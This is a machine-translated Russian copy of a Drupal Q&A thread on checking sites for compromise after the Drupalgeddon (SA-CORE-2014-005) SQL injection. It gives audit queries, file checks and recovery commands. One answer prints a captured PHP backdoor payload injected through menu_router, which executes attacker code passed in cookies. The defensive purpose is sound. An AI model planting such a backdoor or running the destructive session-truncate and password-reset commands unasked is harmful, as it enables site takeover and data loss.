Drupal SA-CORE-2014-005 - Как определить, что мой сервер / сайты были взломаны?


40

Я только что обновил все свои сайты, используя метод исправления для исправления эксплойта Drupal SA-CORE-2014-005. Я только что прочитал сообщения о том, что только вчера кто-то из российских IP проник на сайты друпалов.

https://www.drupal.org/SA-CORE-2014-005

Мои основные проблемы сейчас:

  • Как мне узнать, были ли включены мои сайты?
  • Что я должен искать в журналах доступа Apache, чтобы определить, был ли мой сайт жертвой или нет?
  • Пока что эти хакеры делают с сайтами?

7
Для этого теперь есть модуль drupal.org/project/drupalgeddon
mikeytown2

Что делать, если у меня нет настройки псевдонимов для 100 друпал сайтов? какие хаки взломали твои находки, чтобы мы знали, что искать?
Патоши シ ト シ


1
@duckx Проверьте код в модуле drupalgeddon, и вы найдете эти распространенные хаки; мы не можем перечислить все возможные изменения, которые злонамеренный пользователь может сделать с полным доступом к базе данных, по очевидным причинам. Они могут вносить любые изменения, на которые у пользователя Drupal mysql есть разрешения, вот в чем дело. Таким образом, буквально единственный способ сказать наверняка - сравнить вашу текущую базу данных с известной хорошей версией. Если вам нужна кнопка, которая будет надежно, на 100% точно, сообщать вам, был ли ваш сайт взломан, боюсь, вы мечтаете :)
Clive

Даки: если у вас нет настроенных псевдонимов и у вас есть 100 сайтов, вам будет проще настроить псевдонимы, чем иметь дело с ними вручную? Получить себе список корней сайта и URL-адресов, и вы можете превратить его в набор псевдонимов оттуда.
Крис Берджесс

Ответы:


6

Вот некоторые SQL-запросы, которые можно выполнить к базам данных вашего сайта, чтобы проверить пользователей с правами администратора, и какие из них получили доступ к сайту после 15 октября.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


1
Привет и добро пожаловать в Друпал Ответы. Вы можете улучшить свой ответ, предоставив небольшую сводку предоставленной страницы.
Wtower

Кстати, рекомендуется проверять пользователей, созданных после 15 октября. Для этого используется createdполе из таблицы пользователей. Не гарантируется, что человек, который ввел SQL, будет уважать значение поля, что делает эту проверку не совсем полезной. Действительно, мне пришло в голову, что инъекция обычного пользователя по имени drupaldevбыла предположительно создана 44 недели назад. Что касается второй рекомендации, опять же не гарантируется, что введенный пользователь действительно вошел в систему.
Wtower

29

Если вы читаете эту статью и надеетесь проверить сайт Drupal 7 более чем через месяц после того, как эксплойт обнаружен, ваш сайт, скорее всего, уже взломан . Лучше всего восстановить резервную копию до того, как начались атаки, и работать оттуда.

На SA-CORE-2014-005 есть часто задаваемые вопросы .

Как мне узнать, были ли мои сайты взломаны?

Один из способов быстро проверить, не скомпрометированы ли сайты, - это команда Drupalgeddon drush.

Установите на свой ~/.drushсdrush dl drupalgeddon

Затем используйте drush drupalgeddon-testдля проверки. Псевдонимы делают это легко и быстро.

Этот инструмент может подтвердить использование сайта, но он не может гарантировать, что ваш сайт не был использован. Здесь нет «чистого счета здоровья», если вы не обновились до начала атаки.


Модуль Site Audit включает в себя некоторые проверки от Drupalgeddon, и дает вам гораздо более полезный вклад также. Я очень рекомендую это. (РЕДАКТИРОВАТЬ: Теперь они работают вместе - супер приятно!)


Обзор безопасности не проверяет наличие атак на Друпалгеддон, но его тоже стоит иметь в своем инструментальном поясе.


Если кодовая база вашего сайта была доступна для записи пользователю www, вы могли бы дополнительно проверить наличие модифицированного кода, используя взломанный модуль. Этот модуль может не делать то, что вы думаете, основываясь только на его названии :)


Хотя не существует единого способа идентификации всех скомпрометированных сайтов, эти инструменты могут помочь вам определить наиболее распространенные признаки.


Что я должен искать в журналах доступа Apache, чтобы определить, был ли мой сайт жертвой или нет?

Ваши журналы доступа будут содержать много запросов POST. Если вы не предприняли необычный шаг по регистрации всех публикаций перед ошибкой, у вас вряд ли будет информация, которая скажет, какие из них были вредоносными.

Пока что эти хакеры делают для взломанных сайтов?

Многие сообщают, что их сайты залатаны хакерами! Как злоумышленник, это имеет смысл - вы не хотите, чтобы ваш недавно взломанный сайт был вырван из-под вас следующим злоумышленником :)

Кроме этого, я бы предположил, что сайты используются для сбора любых ценных данных (возможно, получить некоторые кредиты, может поднять детали транзакций после использования) и выполнять скучные вещи, такие как рассылка спама и работа в качестве скромных ведомых ботнетов. Да, и еще больше расширяйте империю атакующих сайтов, захваченных Drupal. (Извините, у меня нет взломанных сайтов для наблюдения.)


Вы можете уточнить? Будет ли любая атака всегда начинаться с POST-запроса? Я проверяю свои журналы на любые посты. Нашли один из IP 62.76.191.119 после того, как я исправил.
Лэнс Холланд

У меня был сайт, который стал жертвой этого эксплойта, и казалось, что злоумышленники использовали его для отправки тонны спама с сервера.
Cyclonecode

24

Вот некоторые проверки для общих атак (это не исчерпывающий список, но некоторые атаки, которые можно увидеть в дикой природе до сих пор):

  • Проверьте свою учетную запись пользователя 1, чтобы убедиться, что ее имя пользователя, адрес электронной почты или пароль соответствуют вашим ожиданиям. Также проверьте любые другие учетные записи пользователей, которые имеют высокие уровни разрешений, если это возможно.
  • Проверьте новые учетные записи пользователей, которые выглядят подозрительно.
  • Проверьте наличие изменений ролей в вашей системе, например, каких-либо новых ролей или переименованных ролей.
  • Проверьте изменения разрешения. Наиболее важным аспектом этого является обеспечение того, чтобы роль анонимного пользователя (или другие роли, которые любой может подписать, чтобы получить) не были изменены, чтобы предоставить им расширенный доступ.
  • Проверьте наличие новых пользовательских блоков, которые могут содержать вредоносный код.
  • Проверьте наличие новых пользовательских узлов, которые могут содержать вредоносный код.
  • Проверьте файлы в вашей файловой системе, которых там быть не должно. Это легко, если вы используете контроль версий, потому что вы можете сделать git status или svn st, чтобы увидеть, есть ли какие-нибудь новые файлы.
  • Если они загрузили вредоносные файлы, вы можете проверить свои журналы доступа на наличие совпадений со странными именами файлов, с которыми вы не знакомы.
  • Проверьте таблицу базы данных маршрутизатора меню на наличие вредоносных записей. Например (модуль drupalgeddon / плагин drush на drupal.org имеет хороший скрипт для более тщательной проверки этой таблицы):

    SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

  • Вы также можете просто просмотреть таблицу маршрутизации меню для странно выглядящих записей.

Некоторые вещи, которые пытаются сделать хакеры:

  • Разместите файлы php-скриптов на своем сайте, чтобы они могли запускаться, нажимая их в браузере. Эти скрипты могут совершать самые разные вредоносные действия. Это достигается за счет добавления вредоносных пунктов меню маршрутизатора.
  • Создайте учетные записи пользователей-администраторов, чтобы потом использовать их для совершения плохих действий на вашем сайте или захвата вашего сайта.
  • Измените адрес электронной почты пользователя 1, чтобы он мог сбросить пароль для этой учетной записи и перенять его.
  • Изменить разрешения для общедоступных пользовательских ролей.
  • Добавить блоки / узлы / и т. Д. который может содержать вредоносный код. Если у вас включен фильтр PHP, это еще большая проблема.

К сожалению, есть много вещей, которые злоумышленник может сделать с вашей базой данных, поэтому довольно сложно дать полный список возможностей. Они могут делать вещи, которые пытаются получить контроль над вашим сайтом, или они могут просто взломать ваш сайт, но отбрасывать таблицы или столбцы базы данных и т. Д.

Они могут даже внести очень небольшие изменения в конфигурацию сайта, например, изменить имя вашего сайта или что-то в этом роде, что не конец света, но все еще проблематично.

По сути, все, что вы можете сделать в своей базе данных, выполнив команду SQL, теоретически может сделать злоумышленник.

Все модули, упомянутые в ответе Криса Берджесса, очень полезны для проверки этих вещей.


1
Вы должны быть поражены 62.76.191.119. Как правило, похоже, что этот IP-адрес пытается поместить файл в ваш docroot через menu_router и, возможно, другие неприятные вещи в вашу БД. Вы можете прочитать комментарии на drupal.org/node/2357241 .
SCOR

Никто не пострадал, насколько показали мои исследования моих сайтов. Это просто информация, чтобы помочь ОП.
Роби

Как мне перейти к «Проверьте таблицу базы данных маршрутизатора меню на наличие вредоносных записей:»? Я на сервере Centos и у меня есть root.
Патоши シ ト シ

Вы можете запустить команду базы данных «SELECT * FROM menu_router», а затем просмотреть все из них, чтобы проверить строки, которые выглядят неуместно. В моем ответе также упоминается более конкретная команда, которая ищет одну конкретную атаку, которая известна и используется для загрузки файлов на ваш сервер.
Роби

Этот IP 62.76.191.119 пытается использовать уязвимость моих сайтов в течение одного дня после выпуска обновления безопасности. Я забанен на всех своих сайтах. Мне очень повезло, что я обновил свои сайты вовремя. Это было странно, потому что это поражало мои сайты в алфавитном порядке.
Кайердис

10

Я думаю, что следовал бы совету drupal.org: « Вы должны исходить из предположения, что каждый сайт Drupal 7 был взломан, если только он не обновлен или не исправлен до 15 октября, 23:00 по Гринвичу, то есть через 7 часов после объявления ». Как сказал Беван в этом комментарии: «Обновление или исправление Drupal не исправляет бэкдоры, которые злоумышленники установили перед обновлением или исправлением Drupal».

Беван также сделал следующую диаграмму рабочего процесса, чтобы помочь вам проанализировать, возможно, вы были заражены, а также как вылечиться и предотвратить . Тем не менее, он просит всех перейти к его оригинальной статье, чтобы убедиться, что у вас последняя версия рабочего процесса. Кроме того, Acquia делает интересную статью об атаках и шаблонах, которые они испытали в Acquia Cloud.

 блок-схема, чтобы понять, уязвимы ли вы, могли ли вы быть заражены и как вылечиться


4

Цитата: https://www.drupal.org/node/2357241#comment-9258955

Это пример файла, который вставляется в столбец access_callback таблицы menu_router:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Как вы можете видеть, он пытается создать файл modules / image / vzoh.php, но, поскольку у меня есть только права на чтение внутри этих каталогов, php не работает.

Отчеты людей, которые находят похожие файлы, созданы с помощью поиска в вашем каталоге drupal: https://www.drupal.org/node/2357241#comment-9260017


Я сделал следующую команду:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Цитируется по адресу : http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Отображение файлов, которые изменились на живом сервере: git status

Поиск попыток выполнения кода через menu_router: выберите * из menu_router, где access_callback = 'file_put_contents'

Показывает, какие файлы находятся на работающем сервере, а не в управлении версиями: diff -r docroot repo | grep docroot | grep 'Only in docroot'

Поиск файлов PHP в каталоге файлов: найти. -path "* php"

Проверка промежутка времени между тем, как пользователь вошел на ваш сайт, и его последним посещением страницы: выберите (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid из внутренних сессий пользователей u на s.uid = u.uid;


3

Очень хороший список команд, чтобы сказать, если вы были скомпрометированы.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

1
Вместо того, чтобы давать отдельные ответы, возможно, вам следует отредактировать первый и добавить дополнительную информацию?
Cyclonecode

0

Вы можете проверить, был ли ваш сайт взломан с помощью этого онлайн-инструмента:

Проверка Drupal: EngineHack

Очевидно, что у него есть свои ограничения, но это хорошая отправная точка.

Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.